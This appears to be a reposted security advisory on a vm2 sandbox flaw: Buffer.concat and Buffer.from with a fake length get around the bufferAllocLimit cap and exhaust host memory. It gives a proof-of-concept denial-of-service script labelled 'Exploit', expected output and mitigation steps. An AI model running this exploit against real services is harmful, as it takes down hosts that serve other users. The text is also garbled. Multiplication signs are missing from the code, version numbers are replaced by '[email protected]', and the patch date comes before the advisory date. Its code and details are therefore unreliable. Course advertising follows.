Listen to this Post
The `bufferAllocLimit` option was introduced in vm2 version 3.11.0 as a mitigation for GHSA-6785-pvv7-mvg7 (CVE-2026-44004). It caps host-side Buffer allocations driven by sandbox code, wrapping Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced via `checkBufferAllocLimit()` checks installed in `lib/setup-sandbox.js` at various wrapper entry points.
However, two other API paths reach the same host C++ allocator with an attacker-controlled size and are not capped: `Buffer.concat(list, totalLength)` and `Buffer.from(arrayLike)` with a fake length. `Buffer.concat` is not wrapped at all — the sandbox-visible version is a direct bridge proxy to the host Buffer.concat, which internally calls Node’s `Buffer.allocUnsafe(totalLength)` without traversing the sandbox-side wrapper. Similarly, `Buffer.from` with an array-like argument like `{length: N}` causes Node’s `fromArrayLike` to allocate a buffer of size `N` before iteration. Neither path consults localBufferAllocLimit.
The attack is simple: a single sandbox call to `Buffer.concat([Buffer.from(‘a’)], 50 1024 1024)` allocates 50 MiB of host external memory. The allocation itself is a synchronous host C++ call that the `timeout` option cannot interrupt — memory is already committed by the time an interrupt could fire. Loop this pattern or use a larger totalLength, and RSS jumps by hundreds of megabytes per call. The fix, implemented in version 3.11.6, uses the existing `checkBufferAllocLimit(size)` helper via sandbox-side wrappers for both `Buffer.concat` and Buffer.from.
DailyCVE Form:
Platform: ……. Node.js / vm2
Version: …….. 3.11.0 – 3.11.5
Vulnerability :…… Memory Exhaustion DoS (CWE-770)
Severity: ……. High (CVSS:4.0 8.7)
date: ………. 2026-08-17
Prediction: Patch expected 2026-08-14 (v3.11.6)
What Undercode Say:
Analytics and verification commands:
Check installed vm2 version npm list vm2 Run PoC against vulnerable version (3.11.5 or earlier) node poc.js Verify fix — upgrade to 3.11.6 or later npm install [email protected] Monitor external memory usage during exploitation while true; do ps -o vsz,rss,command -p $(pgrep -f "node.poc") | grep -v grep; sleep 1; done
Exploit: (Educational Purposes!)
'use strict';
const { VM } = require('vm2');
// Configure cap at 1024 bytes
const vm = new VM({ bufferAllocLimit: 1024 });
// Bypass via Buffer.concat — allocates 50 MB despite cap
vm.run('Buffer.concat([Buffer.from("a")], 50 1024 1024)');
// Bypass via Buffer.from with fake length — allocates 8 MB
vm.run('Buffer.from({length: 8 1024 1024})');
// Loop to drive RSS exhaustion
vm.run(<code>for (let i = 0; i < 100; i++) {
Buffer.concat([Buffer.from("x")], 100 1024 1024);
}</code>);
Expected output against [email protected]:
[VM Buffer.alloc(50MB)] CAPPED — RangeError: exceeds bufferAllocLimit 1024
[VM Buffer.concat 50MB] BYPASSED — got 52428800 bytes (external +50 MB)
[VM Buffer.from({length:8MB})] BYPASSED — got 8388608 bytes (external +8 MB)
Protection:
- Upgrade to vm2 3.11.6 or later
- The fix extends `bufferAllocLimit` coverage to
Buffer.concat,Buffer.from,ArrayBuffer,SharedArrayBuffer, all TypedArray constructors, and `WebAssembly.Memory`
– If upgrading is not immediately possible, combine with host‑level memory limits:node --max-old-space-size=512 app.js
- Container-level memory limits (Docker
--memory, Kuberneteslimits.memory) act as the final ceiling
Impact:
This is the same DoS class as GHSA-6785-pvv7-mvg7: untrusted sandbox code amplifying a small payload into a large synchronous host external-memory allocation that V8’s timeout cannot preempt. In Docker, Kubernetes pods, or AWS Lambda environments, a single ~200‑byte sandbox payload can drive a multi‑hundred‑megabyte RSS jump and OOM the host process. An embedder that configured `bufferAllocLimit: 32 1024 1024` (per the README’s Hardening recommendations) remains vulnerable to the exact attack the option was designed to prevent. The mitigation invariant — “every Buffer external allocation driven by sandbox code is capped by bufferAllocLimit” — does not hold. No sandbox escape; pure Denial of Service.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
